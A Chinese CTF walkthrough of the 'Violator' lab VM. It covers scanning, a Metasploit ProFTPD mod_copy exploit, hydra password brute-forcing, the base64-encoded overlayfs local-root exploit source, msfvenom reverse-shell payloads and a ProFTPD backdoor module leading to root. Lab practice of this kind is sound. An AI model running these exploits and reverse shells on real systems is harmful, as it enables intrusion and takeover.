Write-up-Violator

阅读原文时间：2023年07月08日阅读：1

下载地址：点我
Flag：/root/flag.txt
哔哩哔哩：视频
网卡：虚拟机vmnet8

➜ ~ ip addr show dev vmnet8
5: vmnet8: mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 1000
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff
inet 172.16.249.1/24 brd 172.16.249.255 scope global vmnet8
valid_lft forever preferred_lft forever
inet6 fe80::250:56ff:fec0:8/64 scope link
valid_lft forever preferred_lft forever

➜ ~ nmap -T4 -A 172.16.249.1/24
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-06 08:09 CST
Nmap scan report for 172.16.249.1
Host is up (0.00013s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
902/tcp open ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)

Nmap scan report for 172.16.249.129
Host is up (0.00035s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5rc3
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: I Say… I say… I say Boy! You pumpin' for oil or somethin'…?
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 256 IP addresses (2 hosts up) scanned in 72.25 seconds

IP：172.16.249.129，Ubuntu开放端口21和80。主页里有一张图片和一个wiki的链接，可能是突破口。

➜ ~ curl -L http://172.16.249.129/
I Say… I say… I say Boy! You pumpin' for oil or somethin'…?
I Say.. I say… I say boy! You're barkin up the wrong tree!
<-- https://en.wikipedia.org/wiki/Violator_(album) -->

不是WordPress框架，还是用nikto扫一下吧，什么也没发现，看了foggie.jpg的exif信息也没发现。

➜ ~ nikto -h http://172.16.249.129/

- Nikto v2.1.6
- Target IP: 172.16.249.129
- Target Hostname: 172.16.249.129
- Target Port: 80
+ Start Time: 2018-08-06 08:16:20 (GMT8)
- Server: Apache/2.4.7 (Ubuntu)
- Server leaks inodes via ETags, header found with file /, fields: 0x13e 0x53518115c6709
- The anti-clickjacking X-Frame-Options header is not present.
- The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
- The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
- No CGI Directories found (use '-C all' to force check all possible dirs)
- Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
- Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
- OSVDB-3233: /icons/README: Apache default file found.
- 7535 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time: 2018-08-06 08:16:28 (GMT8) (8 seconds)
- 1 host(s) tested

所以目标转向了FTP，在nmap的返回结果中可看到ProFTPD 1.3.5rc3，找相关版本是否存在漏洞。

➜ ~ searchsploit ProFTPD 1.3.5

Exploit Title | Path
| (/home/kali-team/Kali-Team/exploit-database/)

ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit) | exploits/linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution | exploits/linux/remote/36803.py
ProFTPd 1.3.5 - File Copy | exploits/linux/remote/36742.txt

三个漏洞都可以利用，这里使用第一个Metasploit框架中的，比较方便。

msf > use exploit/unix/ftp/proftpd_modcopy_exec
msf exploit(unix/ftp/proftpd_modcopy_exec) > show options

Module options (exploit/unix/ftp/proftpd_modcopy_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][…]
RHOST yes The target address
RPORT 80 yes HTTP port (TCP)
RPORT_FTP 21 yes FTP port
SITEPATH /var/www yes Absolute writable website path
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path to the website
TMPPATH /tmp yes Absolute writable path
VHOST no HTTP server virtual host

Exploit target:

Id Name
-- ----
0 ProFTPD 1.3.5

msf exploit(unix/ftp/proftpd_modcopy_exec) > set rhost 172.16.249.129
rhost => 172.16.249.129
msf exploit(unix/ftp/proftpd_modcopy_exec) > set sitepath /var/www/html
sitepath => /var/www/html
msf exploit(unix/ftp/proftpd_modcopy_exec) > run

[] Started reverse TCP handler on 172.16.249.1:4444 [] 172.16.249.129:80 - 172.16.249.129:21 - Connected to FTP server
[] 172.16.249.129:80 - 172.16.249.129:21 - Sending copy commands to FTP server [] 172.16.249.129:80 - Executing PHP payload /O8hgrL.php
[*] Command shell session 1 opened (172.16.249.1:4444 -> 172.16.249.129:33406) at 2018-08-06 14:10:35 +0800

ls
O8hgrL.php
foggie.jpg
i0KEqK.php
index.html
系统是Ubuntu，所以路径设置为/var/www/html，目录下的两个PHP文件就是Metasploit生成的后门。

whoami
www-data
cat /etc/passwd
root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin❌2:2:bin:/bin:/usr/sbin/nologin
sys❌3:3:sys:/dev:/usr/sbin/nologin
sync❌4:65534:sync:/bin:/bin/sync
games❌5:60:games:/usr/games:/usr/sbin/nologin
man❌6:12:man:/var/cache/man:/usr/sbin/nologin
lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail❌8:8:mail:/var/mail:/usr/sbin/nologin
news❌9:9:news:/var/spool/news:/usr/sbin/nologin
uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy❌13:13:proxy:/bin:/usr/sbin/nologin
www-data❌33:33:www-data:/var/www:/usr/sbin/nologin
backup❌34:34:backup:/var/backups:/usr/sbin/nologin
list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc❌39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid❌100:101::/var/lib/libuuid:
syslog❌101:104::/home/syslog:/bin/false
messagebus❌102:106::/var/run/dbus:/bin/false
landscape❌103:109::/var/lib/landscape:/bin/false
dg❌1000:1000:Dave Gahan,,,:/home/dg:/bin/bash
proftpd❌104:65534::/var/run/proftpd:/bin/false
ftp❌105:65534::/srv/ftp:/bin/false
mg❌1001:1001:Martin Gore:/home/mg:/bin/bash
af❌1002:1002:Andrew Fletcher:/home/af:/bin/bash
aw❌1003:1003:Alan Wilder:/home/aw:/bin/bash
uname -a
Linux violator 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:16:20 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
发现有几个用户名dg mg af aw，上传到服务器试了，有提权漏洞，但www-data不能用sudo。

www-data@violator:/var/www/html$ cat /etc/group
cat /etc/group
root❌0:
daemon❌1:
bin❌2:
sys❌3:
adm❌4:syslog,dg
tty❌5:
disk❌6:
lp❌7:
mail❌8:
news❌9:
uucp❌10:
man❌12:
proxy❌13:
kmem❌15:
dialout❌20:
fax❌21:
voice❌22:
cdrom❌24:dg
floppy❌25:
tape❌26:
sudo❌27:dg
audio❌29:
dip❌30:dg
www-data❌33:
backup❌34:
operator❌37:
list❌38:
irc❌39:
src❌40:
gnats❌41:
shadow❌42:
utmp❌43:
video❌44:
sasl❌45:
plugdev❌46:dg
staff❌50:
games❌60:
users❌100:mg,af,aw
nogroup❌65534:
libuuid❌101:
netdev❌102:
crontab❌103:
syslog❌104:
fuse❌105:
messagebus❌106:
mlocate❌107:
ssh❌108:
landscape❌109:
dg❌1000:
lpadmin❌110:dg
sambashare❌111:dg
ssl-cert❌112:
mg❌1001:
af❌1002:
aw❌1003:
能sudo的只有dg一个用户，去翻一下各个用户的home目录。然后找到下面的信息。

www-data@violator:/home/af$ ls
ls
minarke-1.21 minarke-1.21.tar.bz2
www-data@violator:/home/aw$ file hint
file hint
hint: ASCII text
www-data@violator:/home/aw$ cat hint
cat hint
You are getting close… Can you crack the final enigma..?
www-data@violator:/home/aw$
www-data@violator:/home$ ls dg
ls dg
bd
www-data@violator:/home/mg$ file faith_and_devotion
file faith_and_devotion
faith_and_devotion: ASCII text
www-data@violator:/home/mg$ cat faith_and_devotion
cat faith_and_devotion
Lyrics:
- Use Wermacht with 3 rotors
- Reflector to B
  Initial: A B C
  Alphabet Ring: C B A
  Plug Board A-B, C-D
www-data@violator:/home/mg$
全部复制到/var/www/html下载会本地。思路断了，外国的东西看不懂。然后看会了前期发现的wiki。想到了用CeWL把wiki的单词爬下来当字典，爆破那四个用户。CeWL的说明介绍。我其实是把专辑和歌名那一部分去掉空格作为密码字典的。

CeWL is a ruby app which spiders a given url to a specified depth, optionally following external links, and returns a list of words which can then be used for password crackers such as John the Ripper.

➜  CeWL git:(master) ✗ ./cewl.rb -v 'https://en.wikipedia.org/wiki/Violator_(album)' -d 1 -w pass.txt
➜  CeWL git:(master) ✗ cat pass.txt |wc -l
10429
➜  CeWL git:(master) ✗ hydra -L user.txt -P pass.txt -u 172.16.249.129 ftp
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-08-07 18:56:59
[DATA] max 16 tasks per 1 server, overall 16 tasks, 92 login tries (l:4/p:23), ~6 tries per task
[DATA] attacking ftp://172.16.249.129:21/
[21][ftp] host: 172.16.249.129   login: aw   password: sweetestperfection
[21][ftp] host: 172.16.249.129   login: af   password: enjoythesilence
[21][ftp] host: 172.16.249.129   login: mg   password: bluedress
[21][ftp] host: 172.16.249.129   login: dg   password: policyoftruth
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
➜  CeWL git:(master) ✗

第一种时直接上exp，因为msf拿到的shell没有上传功能，一句话木马好像也不行。所以先把exp.c转为base64，再写到shell里，到了服务器那边再解码成exp.c，然后编译执行。

➜ ~ searchsploit -p 39166
Exploit: Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) - 'overlayfs' Local Privilege Escalation (1)
URL: https://www.exploit-db.com/exploits/39166/
Path: /home/kali-team/Kali-Team/exploit-database/exploits/linux/local/39166.c
File Type: C source, ASCII text, with CRLF line terminators

➜ ~ cp /home/kali-team/Kali-Team/exploit-database/exploits/linux/local/39166.c exp.c
➜ ~ cat exp.c|base64
LyoNCmp1c3QgYW5vdGhlciBvdmVybGF5ZnMgZXhwbG9pdCwgd29ya3Mgb24ga2VybmVscyBiZWZv
cmUgMjAxNS0xMi0yNg0KDQojIEV4cGxvaXQgVGl0bGU6IG92ZXJsYXlmcyBsb2NhbCByb290DQoj
IERhdGU6IDIwMTYtMDEtMDUNCiMgRXhwbG9pdCBBdXRob3I6IHJlYmVsDQojIFZlcnNpb246IFVi
dW50dSAxNC4wNCBMVFMsIDE1LjEwIGFuZCBtb3JlDQojIFRlc3RlZCBvbjogVWJ1bnR1IDE0LjA0
IExUUywgMTUuMTANCiMgQ1ZFIDogQ1ZFLTIwMTUtODY2MA0KDQpibGFoQHVidW50dTp+JCBpZA0K
dWlkPTEwMDEoYmxhaCkgZ2lkPTEwMDEoYmxhaCkgZ3JvdXBzPTEwMDEoYmxhaCkNCmJsYWhAdWJ1
bnR1On4kIHVuYW1lIC1hICYmIGNhdCAvZXRjL2lzc3VlDQpMaW51eCB1YnVudHUgMy4xOS4wLTQy
LWdlbmVyaWMgIzQ4fjE0LjA0LjEtVWJ1bnR1IFNNUCBGcmkgRGVjIDE4IDEwOjI0OjQ5IFVUQyAy
MDE1IHg4Nl82NCB4ODZfNjQgeDg2XzY0IEdOVS9MaW51eA0KVWJ1bnR1IDE0LjA0LjMgTFRTIFxu
IFxsDQpibGFoQHVidW50dTp+JCAuL292ZXJsYXlmYWlsDQpyb290QHVidW50dTp+IyBpZA0KdWlk
PTAocm9vdCkgZ2lkPTEwMDEoYmxhaCkgZ3JvdXBzPTAocm9vdCksMTAwMShibGFoKQ0KDQoxMi8y
MDE1DQpieSByZWJlbA0KDQo2MzU0YjRlMjNkYjIyNWI1NjVkNzlmMjI2ZjJlNDllYzBmZTFlMTli
DQoqLw0KDQojaW5jbHVkZSA8c3RkaW8uaD4NCiNpbmNsdWRlIDxzY2hlZC5oPg0KI2luY2x1ZGUg
PHN0ZGxpYi5oPg0KI2luY2x1ZGUgPHVuaXN0ZC5oPg0KI2luY2x1ZGUgPHNjaGVkLmg+DQojaW5j
bHVkZSA8c3lzL3N0YXQuaD4NCiNpbmNsdWRlIDxzeXMvdHlwZXMuaD4NCiNpbmNsdWRlIDxzeXMv
bW91bnQuaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1
ZGUgPHVuaXN0ZC5oPg0KI2luY2x1ZGUgPHNjaGVkLmg+DQojaW5jbHVkZSA8c3lzL3N0YXQuaD4N
CiNpbmNsdWRlIDxzeXMvdHlwZXMuaD4NCiNpbmNsdWRlIDxzeXMvbW91bnQuaD4NCiNpbmNsdWRl
IDxzeXMvdHlwZXMuaD4NCiNpbmNsdWRlIDxzaWduYWwuaD4NCiNpbmNsdWRlIDxmY250bC5oPg0K
I2luY2x1ZGUgPHN0cmluZy5oPg0KI2luY2x1ZGUgPGxpbnV4L3NjaGVkLmg+DQojaW5jbHVkZSA8
c3lzL3dhaXQuaD4NCg0Kc3RhdGljIGNoYXIgY2hpbGRfc3RhY2tbMTAyNCoxMDI0XTsNCg0Kc3Rh
dGljIGludA0KY2hpbGRfZXhlYyh2b2lkICpzdHVmZikNCnsNCiAgICBzeXN0ZW0oInJtIC1yZiAv
dG1wL2hheGhheCIpOw0KICAgIG1rZGlyKCIvdG1wL2hheGhheCIsIDA3NzcpOw0KICAgIG1rZGly
KCIvdG1wL2hheGhheC93IiwgMDc3Nyk7DQogICAgbWtkaXIoIi90bXAvaGF4aGF4L3UiLDA3Nzcp
Ow0KICAgIG1rZGlyKCIvdG1wL2hheGhheC9vIiwwNzc3KTsNCg0KICAgIGlmIChtb3VudCgib3Zl
cmxheSIsICIvdG1wL2hheGhheC9vIiwgIm92ZXJsYXkiLCBNU19NR0NfVkFMLCAibG93ZXJkaXI9
L2Jpbix1cHBlcmRpcj0vdG1wL2hheGhheC91LHdvcmtkaXI9L3RtcC9oYXhoYXgvdyIpICE9IDAp
IHsNCglmcHJpbnRmKHN0ZGVyciwibW91bnQgZmFpbGVkLi5cbiIpOw0KICAgIH0NCg0KICAgIGNo
bW9kKCIvdG1wL2hheGhheC93L3dvcmsiLDA3NzcpOw0KICAgIGNoZGlyKCIvdG1wL2hheGhheC9v
Iik7DQogICAgY2htb2QoImJhc2giLDA0NzU1KTsNCiAgICBjaGRpcigiLyIpOw0KICAgIHVtb3Vu
dCgiL3RtcC9oYXhoYXgvbyIpOw0KICAgIHJldHVybiAwOw0KfQ0KDQppbnQNCm1haW4oaW50IGFy
Z2MsIGNoYXIgKiphcmd2KQ0Kew0KICAgIGludCBzdGF0dXM7DQogICAgcGlkX3Qgd3JhcHBlciwg
aW5pdDsNCiAgICBpbnQgY2xvbmVfZmxhZ3MgPSBDTE9ORV9ORVdOUyB8IFNJR0NITEQ7DQogICAg
c3RydWN0IHN0YXQgczsNCg0KICAgIGlmKCh3cmFwcGVyID0gZm9yaygpKSA9PSAwKSB7DQogICAg
ICAgIGlmKHVuc2hhcmUoQ0xPTkVfTkVXVVNFUikgIT0gMCkNCiAgICAgICAgICAgIGZwcmludGYo
c3RkZXJyLCAiZmFpbGVkIHRvIGNyZWF0ZSBuZXcgdXNlciBuYW1lc3BhY2VcbiIpOw0KDQogICAg
ICAgIGlmKChpbml0ID0gZm9yaygpKSA9PSAwKSB7DQogICAgICAgICAgICBwaWRfdCBwaWQgPQ0K
ICAgICAgICAgICAgICAgIGNsb25lKGNoaWxkX2V4ZWMsIGNoaWxkX3N0YWNrICsgKDEwMjQqMTAy
NCksIGNsb25lX2ZsYWdzLCBOVUxMKTsNCiAgICAgICAgICAgIGlmKHBpZCA8IDApIHsNCiAgICAg
ICAgICAgICAgICBmcHJpbnRmKHN0ZGVyciwgImZhaWxlZCB0byBjcmVhdGUgbmV3IG1vdW50IG5h
bWVzcGFjZVxuIik7DQogICAgICAgICAgICAgICAgZXhpdCgtMSk7DQogICAgICAgICAgICB9DQoN
CiAgICAgICAgICAgIHdhaXRwaWQocGlkLCAmc3RhdHVzLCAwKTsNCg0KICAgICAgICB9DQoNCiAg
ICAgICAgd2FpdHBpZChpbml0LCAmc3RhdHVzLCAwKTsNCiAgICAgICAgcmV0dXJuIDA7DQogICAg
fQ0KDQogICAgdXNsZWVwKDMwMDAwMCk7DQoNCiAgICB3YWl0KE5VTEwpOw0KDQogICAgc3RhdCgi
L3RtcC9oYXhoYXgvdS9iYXNoIiwmcyk7DQoNCiAgICBpZihzLnN0X21vZGUgPT0gMHg4OWVkKQ0K
ICAgICAgICBleGVjbCgiL3RtcC9oYXhoYXgvdS9iYXNoIiwiYmFzaCIsIi1wIiwiLWMiLCJybSAt
cmYgL3RtcC9oYXhoYXg7cHl0aG9uIC1jIFwiaW1wb3J0IG9zO29zLnNldHJlc3VpZCgwLDAsMCk7
b3MuZXhlY2woJy9iaW4vYmFzaCcsJ2Jhc2gnKTtcIiIsTlVMTCk7DQoNCiAgICBmcHJpbnRmKHN0
ZGVyciwiY291bGRuJ3QgY3JlYXRlIHN1aWQgOihcbiIpOw0KICAgIHJldHVybiAtMTsNCn0=
➜ ~

在服务器这边把base64解码

dg@violator:/var/www/html$ cat exp.txt|base64 -d >exp.c
cat exp.txt|base64 -d >exp.c

dg@violator:/var/www/html$ gcc exp.c
gcc exp.c
dg@violator:/var/www/html$ ls
ls
a.out exp.c exp.txt J0dov8.php jc7gX.php vMZTOjJ.php
dg@violator:/var/www/html$ ./a.out
./a.out
root@violator:/var/www/html# id
id
uid=0(root) gid=1000(dg) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare),1000(dg)
root@violator:/var/www/html#

第二种提权的方法，用用户名：dg密码：policyoftruth登上FTP，切换的/var/www/html然后上传Meterpreter-shell。

生成meterpreter-shell，FTP上传直接PUT就可以了

➜ ~ msfvenom -p php/meterpreter_reverse_tcp LPORT=7788 LHOST=172.16.249.1 -f raw -o msf.php
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter_reverse_tcp
payload => php/meterpreter_reverse_tcp
msf exploit(multi/handler) > set lport 7788
lport => 7788
msf exploit(multi/handler) > set lhost 172.16.249.1
lhost => 172.16.249.1
msf exploit(multi/handler) > run

[] Started reverse TCP handler on 172.16.249.1:7788 [] Meterpreter session 1 opened (172.16.249.1:7788 -> 172.16.249.129:35623) at 2018-08-07 20:36:38 +0800
这个功能比较多，我平时也是用这个payload的。

www-data@violator:/var/www/html$ su dg
su dg
Password: policyoftruth

dg@violator:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for dg on violator:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User dg may run the following commands on violator:
(ALL) NOPASSWD: /home/dg/bd/sbin/proftpd
dg@violator:/var/www/html$
上面可以看到proftpd这个守护进程是以root权限运行的，而这东西又刚刚好有漏洞。而且执行不要root密码。我们切换到/home/dg/bd/sbin/proftpd把proftpd以root权限执行起来。接着就是去利用漏洞了。

dg@violator:/var/www/html$ cd /home/dg/bd/sbin/
cd /home/dg/bd/sbin/
dg@violator:~/bd/sbin$ ls
ls
ftpscrub ftpshut in.proftpd proftpd
dg@violator:~/bd/sbin$ ls -al
ls -al
total 564
drwxr-xr-x 2 root root 4096 Jun 6 2016 .
drwxr-xr-x 10 root root 4096 Jun 6 2016 ..
-rwxr-xr-x 1 root root 15976 Jun 6 2016 ftpscrub
-rwxr-xr-x 1 root root 10456 Jun 6 2016 ftpshut
lrwxrwxrwx 1 root root 7 Jun 6 2016 in.proftpd -> proftpd
-rwxr-xr-x 1 root root 537488 Jun 6 2016 proftpd
dg@violator:~/bd/sbin$ sudo ./proftpd
sudo ./proftpd
- setting default address to 127.0.0.1
  localhost - SocketBindTight in effect, ignoring DefaultServer
  dg@violator:~/bd/sbin$
  dg@violator:~/bd/sbin$ netstat -antp
  netstat -antp
  (Not all processes could be identified, non-owned process info
  will not be shown, you would have to be root to see it all.)
  Active Internet connections (servers and established)
  Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
  tcp 0 0 127.0.0.1:2121 0.0.0.0:* LISTEN -
  tcp 0 0 172.16.249.129:60704 172.16.249.1:4444 CLOSE_WAIT -
  tcp 0 0 172.16.249.129:60705 172.16.249.1:4444 CLOSE_WAIT -
  tcp 0 0 172.16.249.129:35623 172.16.249.1:7788 ESTABLISHED 2669/bash
  tcp6 0 0 :::21 :::* LISTEN -
  tcp6 0 0 :::80 :::* LISTEN -
  tcp6 0 0 172.16.249.129:80 172.16.249.1:51132 ESTABLISHED -
  dg@violator:~/bd/sbin$
现在守护进程已经跑起来了，监听的端口是2121，但是只能由127.0.0.1访问，所以要做端口转发。

meterpreter > portfwd add -L 127.0.0.1 -l 2121 -p 2121 -r 127.0.0.1
[*] Local TCP relay created: 127.0.0.1:2121 <-> 127.0.0.1:2121

meterpreter > background
[*] Backgrounding session 1…
msf exploit(multi/handler) > use exploit/unix/ftp/proftpd_133c_backdoor
msf exploit(unix/ftp/proftpd_133c_backdoor) > set payload cmd/unix/
set payload cmd/unix/bind_perl
set payload cmd/unix/bind_perl_ipv6
set payload cmd/unix/generic
set payload cmd/unix/reverse
set payload cmd/unix/reverse_bash_telnet_ssl
set payload cmd/unix/reverse_perl
set payload cmd/unix/reverse_perl_ssl
set payload cmd/unix/reverse_ssl_double_telnet
msf exploit(unix/ftp/proftpd_133c_backdoor) > set payload cmd/unix/reverse_perl
payload => cmd/unix/reverse_perl
msf exploit(unix/ftp/proftpd_133c_backdoor) > set lhost 172.16.249.1
lhost => 172.16.249.1
msf exploit(unix/ftp/proftpd_133c_backdoor) > show options

Module options (exploit/unix/ftp/proftpd_133c_backdoor):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 21 yes The target port (TCP)

Payload options (cmd/unix/reverse_perl):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.16.249.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Automatic

msf exploit(unix/ftp/proftpd_133c_backdoor) > run

[-] Exploit failed: The following options failed to validate: RHOST.
[] Exploit completed, but no session was created. msf exploit(unix/ftp/proftpd_133c_backdoor) > set rport 2121 rport => 2121 msf exploit(unix/ftp/proftpd_133c_backdoor) > set rhost 127.0.0.1 rhost => 127.0.0.1 msf exploit(unix/ftp/proftpd_133c_backdoor) > run [] Started reverse TCP handler on 172.16.249.1:4444
[] 127.0.0.1:2121 - Sending Backdoor Command [] Command shell session 2 opened (172.16.249.1:4444 -> 172.16.249.129:60709) at 2018-08-07 21:05:32 +0800

id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
那到root权限了，接下来去夺旗。

python -c 'import pty;pty.spawn("/bin/bash")'
root@violator:/# ls
ls
bin dev home lib lost+found mnt proc run srv tmp var
boot etc initrd.img lib64 media opt root sbin sys usr vmlinuz
root@violator:/# cd /root
cd /root
root@violator:/root# ls
ls
flag.txt
root@violator:/root# cat flag.txt
cat flag.txt
I say… I say… I say boy! Pumping for oil or something…?
---Foghorn Leghorn "A Broken Leghorn" 1950 (C) W.B.
root@violator:/root#
在root目录下有一个隐藏文件夹，下载回来看看发现有密码。

root@violator:/root# ll
ll
total 24
drwx------ 3 root root 4096 Jun 14 2016 ./
drwxr-xr-x 22 root root 4096 Jun 14 2016 ../
-rw-r--r-- 1 root root 3106 Feb 20 2014 .bashrc
d--x------ 2 root root 4096 Jun 14 2016 .basildon/
-rw-r--r-- 1 root root 114 Jun 12 2016 flag.txt
-rw-r--r-- 1 root root 140 Feb 20 2014 .profile
root@violator:/root# cd .basildon/
cd .basildon/
root@violator:/root/.basildon# ls
ls
crocs.rar
root@violator:/root/.basildon#

➜ DOWNLOAD john hash --wordlist=/home/kali-team/Kali-Team/password-recovery/CeWL/pass
Warning: detected hash type "rar", but the string is also recognized as "rar-opencl"
Use the "--format=rar-opencl" option to force loading these as that type instead
Loaded 1 password hash (rar, RAR3 [SHA1 AES 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
World in My Eyes (crocs.rar)
1g 0:00:00:00 DONE (2018-08-07 21:20) 3.703g/s 88.88p/s 88.88c/s 88.88C/s enjoythesilence..World in My Eyes
Use the "--show" option to display all of the cracked passwords reliably
Session completed
密码破解出来是World in My Eyes，别问我怎么知道的，情节需要。现在到隐写

➜ DOWNLOAD exiftool artwork.jpg
ExifTool Version Number : 11.01
File Name : artwork.jpg
Directory : .
File Size : 183 kB
File Modification Date/Time : 2016:06:12 14:38:12+08:00
File Access Date/Time : 2018:08:07 21:23:12+08:00
File Inode Change Date/Time : 2018:08:07 21:23:12+08:00
File Permissions : rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : inches
X Resolution : 300
Y Resolution : 300
Exif Byte Order : Big-endian (Motorola, MM)
Image Description : Violator
Software : Google
Artist : Dave Gaham
Copyright : UKSNRSPYLEWHKOKZARVKDEINRLIBWIUCFQRQKAQQGQLTIUCYMFENULUVFOYQDKPHSUJHFUJSAYJDFGDFRYWKLSVNJNVDVSBIBFNIFASOPFDVEYEBQYCOGULLLVQPUWISDBNLNQIJUEZACAKTPPSBBLWRHKZBJMSKLJOACGJMFVXZUEKBVWNKWEKVKDMUYFLZEOXCIXIUHJOVSZXFLOZFQTNSKXVWUHJLRAEERYTDPVNZPGUIMXZMESMAMBDVKFZSDEIQXYLJNKTBDSRYLDPPOIVUMZDFZPEWPPVHGPFBEERMDNHFIWLSHZYKOZVZYNEXGPROHLMRHFEIVIIATOAOJAOVYFVBVIYBGUZXXWFKGJCYEWNQFTPAGLNLHVCRDLFHSXHVMCERQTZOOZARBEBWCBCIKUOFQIGZPCMWRHJEMUSGYBGWXJENRZHZICACWOBJMI
Exif Version : 0220
Date/Time Original : 1990:03:19 22:13:30
Create Date : 1990:03:19 22:13:30
Sub Sec Time Original : 04
Sub Sec Time Digitized : 04
Exif Image Width : 1450
Exif Image Height : 1450
XP Title : Violator
XP Author : Dave Gaham
XP Keywords : created by user dg
XP Subject : policyoftruth
Padding : (Binary data 1590 bytes, use -b option to extract)
About : uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b
Rights : UKSNRSPYLEWHKOKZARVKDEINRLIBWIUCFQRQKAQQGQLTIUCYMFENULUVFOYQDKPHSUJHFUJSAYJDFGDFRYWKLSVNJNVDVSBIBFNIFASOPFDVEYEBQYCOGULLLVQPUWISDBNLNQIJUEZACAKTPPSBBLWRHKZBJMSKLJOACGJMFVXZUEKBVWNKWEKVKDMUYFLZEOXCIXIUHJOVSZXFLOZFQTNSKXVWUHJLRAEERYTDPVNZPGUIMXZMESMAMBDVKFZSDEIQXYLJNKTBDSRYLDPPOIVUMZDFZPEWPPVHGPFBEERMDNHFIWLSHZYKOZVZYNEXGPROHLMRHFEIVIIATOAOJAOVYFVBVIYBGUZXXWFKGJCYEWNQFTPAGLNLHVCRDLFHSXHVMCERQTZOOZARBEBWCBCIKUOFQIGZPCMWRHJEMUSGYBGWXJENRZHZICACWOBJMI
Creator : Dave Gaham
Subject : created by user dg
Title : Violator
Description : Violator
Warning : [minor] Fixed incorrect URI for xmlns:MicrosoftPhoto
Date Acquired : 1941:05:09 10:30:18.134
Last Keyword XMP : created by user dg
Image Width : 1450
Image Height : 1450
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 1450x1450
Megapixels : 2.1
Create Date : 1990:03:19 22:13:30.04
Date/Time Original : 1990:03:19 22:13:30.04
➜ DOWNLOAD
版权那两个地方非常突出了，但是又不是base64，然后在mg目录发现的歌词和一个C程序没用上。

Lyrics:

Use Wermacht with 3 rotors

Reflector to B

Initial: A B C

Alphabet Ring: C B A

Plug Board A-B, C-D

看来那个C程序是解这串字的，但是他卡住了。

➜ minarke-1.21 ./minarke

Minarke, an Enigma M4 emulator
by John Gilbert

Emulates the Kriegsmarine M4 Enigma encryption machine
```
Initial Setup Notes
```
Rotors: Reflector (B/C), Thin Rotor (B/G), 3 Rotors (1-8, can't reuse them)
Use BB### or CG### with A### settings to read/create Wehrmacht three rotor traffic
Ring and position settings: A-Z for each of the 4 rotors
Reflector setting is always fixed at A.
Plugboard settings: A-Z,A-Z pairs, also won't allow reuse
Hit return to end input, 11 pairs recomended for maximum security.
Hit ESC at any time to quit.
```
Special Keys (during input mode)
```
1: rewind one setting
2: reset position settings
3: new position settings
4: new setup
9: toggle debug
0: show position settings
?: show help

see http://en.wikipedia.org/wiki/Enigma_machine
also http://www.bytereef.org/m4_project.html

Rotors:
Google找在线的解密工具，解了也看不懂，没有空格分开翻译不了，反正flag拿到了。

